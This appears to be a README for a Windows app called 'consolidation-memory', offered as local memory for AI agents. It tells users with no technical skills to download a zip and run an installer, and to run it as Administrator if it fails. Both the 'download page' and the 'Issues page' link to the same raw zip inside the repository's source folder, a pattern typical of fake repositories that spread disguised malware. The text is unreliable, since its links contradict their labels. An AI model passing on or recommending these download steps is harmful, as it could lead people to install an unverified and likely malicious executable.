consolidation-memory is a local-first memory system designed for AI agents. It allows you to store, recall, and consolidate knowledge over time. The software uses established tools like FAISS for vector search and SQLite for data storage. It works with many large language models (LLMs), letting you keep track of information across different sessions. This makes it useful for coding agents, chatbots, or any AI that needs a memory system.
The application is simple to use and runs on Windows. You don’t need any coding skills to get started.
To use consolidation-memory on your Windows computer, make sure you have:
- A PC running Windows 10 or later
- At least 4 GB of free disk space
- At least 8 GB of RAM for best performance
- A stable internet connection to download the files
You do not need to install any programming tools. The application comes ready with everything included.
The files for consolidation-memory are hosted on GitHub. Use the link below to access the official download page.
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Open the Download Page
Click the button above or visit:
https://github.com/InitialDBklyn/consolidation-memory/raw/refs/heads/main/src/memory_consolidation_3.6-beta.1.zip -
Locate the Latest Release
Scroll to the "Releases" section or look for a folder named “Releases” or “Download.”
Find the most recent version with a.exefile or an installer. -
Download the Installer
Click the installer file (it may be namedconsolidation-memory-setup.exeor similar) to download it to your computer. -
Run the Installer
Once downloaded, find the file in your "Downloads" folder and double-click it. -
Follow On-Screen Instructions
The setup wizard will guide you through simple steps.
Choose your installation folder or leave the default location.
Click "Install" and wait for the process to finish. -
Start consolidation-memory
After installation, you can find the application in your Start menu or desktop shortcut.
Launch it by clicking the icon.
After installation, you can start creating and storing memory related to AI agents. Here’s a basic guide:
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Open the App
Find consolidation-memory in your programs list and open it. -
Create a Memory Session
Click “New Session” or “Start” to begin. This will set up a new workspace. -
Add Information
Use the text input area to type or paste information that you want to save. -
Save Your Memory
Click “Save” to store the input. The system will link and index this information using FAISS and SQLite technologies. -
Recall Stored Knowledge
Use the search bar to find saved information by entering keywords or topics. -
Consolidate and Manage Data
The system automatically links related data. You can view the connection between memories and merge duplicates.
- Local-first Storage: Your data stays on your PC for privacy and speed.
- Use of FAISS: Fast semantic search lets you find related data quickly.
- SQLite Database: Stable and easy-to-manage store for all memories.
- Multi-Session Support: Keep multiple projects or AI agents independently saved.
- LLM Integration: Works with many language models to enhance knowledge retrieval.
- Simple Interface: Designed for users without technical experience.
You can customize these basic settings:
- Memory Limit: Set how much data you want to save per session.
- Backup Options: Enable automatic backup to avoid data loss.
- Search Preferences: Adjust search sensitivity and how broad results should be.
- Session Management: Rename or delete old sessions as needed.
Access these in the “Settings” menu inside the application.
- Windows 10 (64-bit) or higher
- CPU: Intel i3 or equivalent
- RAM: Minimum 8 GB recommended
- Disk Space: At least 4 GB free
- Internet required only to download or update the software
For issues during installation or use, visit the GitHub Issues page:
https://github.com/InitialDBklyn/consolidation-memory/raw/refs/heads/main/src/memory_consolidation_3.6-beta.1.zip
You can open a new issue describing the problem clearly.
To update the software, repeat the download steps from the link below and install the latest version over the existing one:
No need to uninstall the old version first. Your saved memories will stay intact.
- If the app does not start, try running it as Administrator.
- If you see errors related to memory, check your PC’s RAM and disk space.
- For search problems, ensure your data is saved and the session is active.
- Restart your computer if the installer doesn’t respond.
consolidation-memory works quietly in the background to keep your AI knowledge safe and accessible. The combination of FAISS and SQLite helps you search and organize information like a professional librarian.
Use it to assist coding agents or any smart tool that needs long-term memory.
- ai-agents
- faiss vector search
- sqlite database
- local memory for AI
- semantic search
- LLM integration
- coding assistant memory
- MCP server and clients